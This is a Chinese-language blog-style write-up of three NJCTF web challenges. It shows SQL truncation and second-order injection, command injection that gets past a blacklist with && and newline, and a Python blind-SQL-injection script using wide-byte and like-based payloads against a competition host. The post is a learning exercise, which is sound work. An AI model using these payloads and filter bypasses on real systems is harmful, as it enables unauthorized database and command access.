NJCTF题目不完全解答

上周玩了一下NJCTF,由于很长时间没有玩了,感觉现在很多常见的漏洞都生疏了。趁着这次CTF比赛,正好回顾一下常见的Web漏洞。边回顾边复习吧,在编写题目的时候我会详细地写出我的思路,所以可能这些文章看起来会非常的啰嗦。
目前做的都是SQL注入方面的题目,其他题目有时间在更新吧

Login

题目的逻辑很简单,需要用户注册一个账户,注册之后登录进入到home.php之后,页面会提示用户访问getlflag.php页面,访问之后出现:

1
2
we search the database, and you are {注册的用户名}.
you are not admin, I won't give you the flag!

页面提示是需要admin账户登录才行,那么猜测后台的逻辑代码的写法为:

1
2
3
4
# 当用户成功登录之后
$_SESSION['username'] = $_POST['username];
#deal方法 标识后台可能对密码进行处理,包括使用md5算法等等
$_SESSION['password] = deal($_POST['password']);

在getflag.php中的代码写法为:

1
2
3
4
5
6
7
8
9
$username = $_SESSION['username'];
$password = $_SESSION['password'];
$sql = "select * from users where username={$username} and password = {$password}";
$query = mysql_query($sql);
$row = mysql_fetch_array($query);
$role = $row['role']
if($role=='admin') {
echo flag;
}

如果是上述的这个代码,那么思路就是一个传统的登录绕过的SQL注入了。
那么我就使用用户名为admin'#来进行注册,发现程序并没有出现问题,说不定后台没有WAF,但是通过这种方式注册之后,终于访问getflag.php页面时,还是出现:

1
2
we search the database, and you are admin'#.
you are not admin, I won't give you the flag!

看来是不行的,那么我此时猜测,由于用户名的名称并没有发生改变,可能是后台对特殊字符进行了转义,或者是我写的SQL语句不对,后台的SQL语句的写法可能为:

1
$sql = "select * from users where (username={$username}) and (password = {$password})";

接下来,我就进行了一系列的尝试,如下:

1
2
3
4
5
6
7
8
9
1' or 1#
1' or 1=1#
1' or 1=1 limit 1#
1') or 1=1 limit 1#
1') or 1=1#
# 在尝试了不行之后,我开始怀疑可能不应该用1来进行测试,应该用admin来进行测试
admin' or 1=1#
admin' or '1'='1
admin') or ('1'='1

在进行了上述一系列的尝试之后,发现还是不可以。
我实在是不知道什么原因,后来看了writeup之后,才知道这是一个SQL的二次注入。
关于SQL的二次注入,网上有很多文章,这里就不作详细地说明。
最终的payload就是:

1
admin(50个空格)+1用户

官方的回复是:

注册admin(50+个空格)1用户,在插入数据库时,由于varchar()的长度限制,和mysql的默认配置,只会插入admin加一些空格,当mysql再次把它带入=运算进行字符串比较时,将会忽略所有末尾的空格,从而以admin身份查看flag。

这就是一个典型的二次注入了。
看到这里,说明我还是对SQL注入的类型不够敏感呀。
关于字符串截断的用法,还可以参考我之前写过的一篇文章sql二次注入和截断联合使用

Get Flag

进入到页面之后,发现是一个搜索框,搜索框的提示是:

1
keywords...eg:11.jpg

尝试输入123,提交之后,页面的返回内容是:

1
<img src="data:image/png;base64,Y2F0OiBpbWFnZXMvMTIzOiBObyBzdWNoIGZpbGUgb3IgZGlyZWN0b3J5"/>

将其中的信息解密出来为:

1
cat: images/123: No such file or directory

看到cat:images/123,我猜测后台的写法为:

1
2
3
$command = 'cat:image/'.$_GET['keyword'];
$output = system($command);
$image_data = base64_encode($output);

那么这样就可能是一个命令执行的漏洞了。
尝试使用123;ifconfig,页面出现了Too young too simple~~,说明存在WAF。
然后尝试123||ifconfig,同样被WAF拦截。
然后尝试1.jpg&&ifconfig,发现能够正常显示内容,说明WAF没有拦截&&,那么就可以进行命令执行了。
但是需要注意的是前面的一条命令一定要写为1.jpg,否则后面的命令是不会执行的。
因为使用的是&&,必须要保证前面的命令正确执行,才会执行后面的命令。当时在这个地方卡了很久。
接下里我们就读取文件内容了.

1
1.jpg&&ls

读取在当前的目录下的文件,发现网站使用flask写的,读取其中的app.py文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
rom flask import Flask, render_template, request
import commands,base64,time

app = Flask(__name__)
blacklist = [';', '>', '<', '|', '$', '`', '(', ')', "mv", "rm", "cp", "python", "perl", "ruby", "bash", "zsh", '~', '*', '-', 'echo']

@app.route('/', methods=['GET'])
def index():
return render_template("index.html")


@app.route('/hehe', methods=['POST'])
def hehe():
time.sleep(5)
img = request.form["flag"]
for hacker in blacklist:
if hacker in img:
return render_template("bad.html")
image = commands.getstatusoutput('cat images/' + img)
messages = base64.b64encode(image[1])
return render_template("image.html", image=messages)

if __name__ == "__main__":
try:
app.run(host='0.0.0.0', port='3000')
except Exception as e:
print ("Exception:")

发现过滤了很多字符,但是并没有与flag相关的信息。
最终是在根目录下面读取到了flag,9iZM2qTEmq67SOdJp%!oJm2%M4!nhS_thi5_flag
最终读取flag信息:

1
1.jpg&&cat /9iZM2qTEmq67SOdJp%!oJm2%M4!nhS_thi5_flag

看到很多队都使用了%0a来进行绕过
那么这样就写为:

1
aaa%0afind%20/

使用了换行,相当与使用了;就可以多使用一条命令了,这也是一个很好的思路,需要学习。

Come on

这道题目是第一道题目,但是想了很久都没有想出来,最后还是放弃了。看来writeup还是来分析一下吧。
这是一个股票搜索的问题,在输入关键字就可以进行搜索。
通过分析,猜测后台是一个like语句,写法为:

1
select * from data where code like '%key%'

那么就可以进行如下的尝试:

1
2
3
1%' limit 1%23
65%' %23
1' and 1=2%23

这样尝试了几次发现,数据都没有返回,都是进行了一个302跳转,然后进入到首页,说明后台进行了处理,但是当时我才不去后来是使用了什么WAF或者是技术。
后来看了官方的说明:

布尔型盲注。设定//、and、or、mid、substr、union、>、<、空白符、ascii等为敏感词,若检测到敏感词存在则重新跳转至index.php。参数使用mysql_real_escape_string()进行转义,但存在宽字节注入,可使用括号代替空格、使用left/right函数结合以代替substr()和mid()的方式进行注入,且此查询默认不区分大小写,需要使用binary()

感觉已经将这道题目说得很清楚了。使用left/right函数代替空格,使用binary进行大小写。同时逗号还可以使用。
为什么知道是一个宽字节注入呢?当我们使用%df'进行输入的时候,结果为:

1
<br/>Could not get data.

和之前的结果输出有所不同,则说明了宽字节注入是有效的。
最后看一下Sclover队的writeup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
payload = ""
string = "abcdefABCDEF0123456789"
def sqli():
global payload
for i in range(1, 100):
flag = 0
j = 0
while not flag:
payload = payload + string[j].encode('hex')
j = j+1
url = "http://218.2.197.235:23733/?key=%df' || left((select%0bhex(flag)%0bfrom%0bflag),"+str(i)+") =0x"+payload+"%23"
r = requests.get(url)
if len(r.text) > 1000:
flag = 1
print payload
else:
payload = payload[0:len(payload)-2]


if __name__ == '__main__':
sqli()

这道题目还对like注入进行考察,这个是我之前是不会的,这个payload是直接使用的=来进行盲注的,看了其他队的答案还可以使用

1
key=%c0%27||(select(binary(flag))from(flag))like(0x4e25)%23

但是不同之处在于完全没有使用逗号,使用like来进行注入,看来还是注入的见识太少哇。
这个也是相当的不错

总结一下这道题目,从这些队伍的writeup中学习一些姿势。

  1. 由于对单引号进行了过滤,所以在进行查询的时候,使用的都是0x十六进制的方式。
  2. 学习到了like注入的新姿势,使用||
  3. 使用括号的方式绕过空格
  4. 使用like的方式来绕过逗号。

其他的题目再更新吧。

最后贴上猪猪侠的一段话吧
学会如何学习,培养学习习惯,锻炼学习力,为了能看到远方,脚下的每一步都不能少